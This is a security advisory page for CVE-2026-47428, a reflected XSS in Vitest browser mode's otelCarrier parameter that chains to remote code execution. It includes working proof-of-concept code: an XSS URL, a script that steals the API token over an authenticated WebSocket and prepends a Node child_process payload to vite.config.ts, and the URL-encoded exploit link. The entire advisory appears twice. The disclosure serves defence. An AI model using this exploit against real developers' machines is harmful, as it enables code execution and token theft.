← Back to CVE List
CVE-2026-47428NVD
Description
## Summary
Vitest browser mode served `/__vitest_test__/` with the `otelCarrier` query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.
https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48
https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41
The same generated page embeds `VITEST_API_TOKEN`, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.
## Impact
This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.
In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into `vite.config.ts`. Vitest/Vite then reloaded the config, executing the injected config code in Node.
This is related in impact to [GHSA-9crc-q9x8-hgqq](https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq): that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.
## Proof of Concept
### XSS
For a concrete reproduction, start browser mode in watch mode using the official Lit example:
```sh
pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc
cd vitest-poc
pnpm install
pnpm test
```
By default, Vitest serves the browser runner HTML and WebSocket API at `http://localhost:63315`.
Open the following URL:
```text
http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)
```
The `otelCarrier` query value is inserted into the generated inline module script as JavaScript source:
```js
otelCarrier: (alert("xss via otelCarrier"),null),
```
Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.
### RCE via config write
A full local RCE proof can use the same injection point to recover `window.VITEST_API_TOKEN`, connect to `/__vitest_browser_api__`, and call `triggerCommand("writeFile", ...)` to modify the local `vite.config.ts`.
The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.
This PoC imports `flatted` from a CDN to keep the payload compact.
<details><summary>Example script and encoded URL</summary>
```ts
(setTimeout(async()=>{
const s = window.__vitest_browser_runner__
const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm')
const p = location.protocol === 'https:' ? 'wss:' : 'ws:'
const q = 'type=orchestrator&rpcId=poc-' + Date.now()
+ '&sessionId=' + encodeURIComponent(s.sessionId)
+ '&projectName=' + encodeURIComponent(s.config.name || '')
+ '&method=' + encodeURIComponent(s.method)
+ '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')
const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)
const pending = new Map()
function call(m, a = []) {
const i = crypto.randomUUID()
ws.send(stringify({ t: 'q', i, m, a }))
return new Promise((resolve, reject) => {
pending.set(i, { resolve, reject })
})
}
ws.onmessage = (event) => {
const message = parse(event.data)
const promise = pending.get(message.i)
if (!promise) {
return
}
pending.delete(message.i)
if (message.e) {
promise.reject(message.e)
}
else {
promise.resolve(message.r)
}
}
ws.onopen = async () => {
const configPath = 'vite.config.ts'
const original = await call('triggerCommand', [
s.sessionId,
'readFile',
configPath,
[configPath, 'utf-8'],
])
const injected = `
import("node:child_process").then(lib => {
lib.execSync('touch ./rce-poc')
console.log('RCE success')
})
`
await call('triggerCommand', [
s.sessionId,
'writeFile',
configPath,
[configPath, injected + original],
])
alert('POC: vite.config.ts modified to trigger RCE on config reload')
}
ws.onerror = () => alert('POC: browser api websocket failed')
},0),null)
```
The following URL is the same script encoded as the `otelCarrier` query value:
```txt
http://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)
```
</details>
---
Vitest browser mode served `/__vitest_test__/` with the `otelCarrier` query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.
https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48
https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41
The same generated page embeds `VITEST_API_TOKEN`, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.
## Impact
This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.
In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into `vite.config.ts`. Vitest/Vite then reloaded the config, executing the injected config code in Node.
This is related in impact to [GHSA-9crc-q9x8-hgqq](https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq): that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.
## Proof of Concept
### XSS
For a concrete reproduction, start browser mode in watch mode using the official Lit example:
```sh
pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc
cd vitest-poc
pnpm install
pnpm test
```
By default, Vitest serves the browser runner HTML and WebSocket API at `http://localhost:63315`.
Open the following URL:
```text
http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)
```
The `otelCarrier` query value is inserted into the generated inline module script as JavaScript source:
```js
otelCarrier: (alert("xss via otelCarrier"),null),
```
Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.
### RCE via config write
A full local RCE proof can use the same injection point to recover `window.VITEST_API_TOKEN`, connect to `/__vitest_browser_api__`, and call `triggerCommand("writeFile", ...)` to modify the local `vite.config.ts`.
The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.
This PoC imports `flatted` from a CDN to keep the payload compact.
<details><summary>Example script and encoded URL</summary>
```ts
(setTimeout(async()=>{
const s = window.__vitest_browser_runner__
const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm')
const p = location.protocol === 'https:' ? 'wss:' : 'ws:'
const q = 'type=orchestrator&rpcId=poc-' + Date.now()
+ '&sessionId=' + encodeURIComponent(s.sessionId)
+ '&projectName=' + encodeURIComponent(s.config.name || '')
+ '&method=' + encodeURIComponent(s.method)
+ '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')
const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)
const pending = new Map()
function call(m, a = []) {
const i = crypto.randomUUID()
ws.send(stringify({ t: 'q', i, m, a }))
return new Promise((resolve, reject) => {
pending.set(i, { resolve, reject })
})
}
ws.onmessage = (event) => {
const message = parse(event.data)
const promise = pending.get(message.i)
if (!promise) {
return
}
pending.delete(message.i)
if (message.e) {
promise.reject(message.e)
}
else {
promise.resolve(message.r)
}
}
ws.onopen = async () => {
const configPath = 'vite.config.ts'
const original = await call('triggerCommand', [
s.sessionId,
'readFile',
configPath,
[configPath, 'utf-8'],
])
const injected = `
import("node:child_process").then(lib => {
lib.execSync('touch ./rce-poc')
console.log('RCE success')
})
`
await call('triggerCommand', [
s.sessionId,
'writeFile',
configPath,
[configPath, injected + original],
])
alert('POC: vite.config.ts modified to trigger RCE on config reload')
}
ws.onerror = () => alert('POC: browser api websocket failed')
},0),null)
```
The following URL is the same script encoded as the `otelCarrier` query value:
```txt
http://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)
```
</details>
---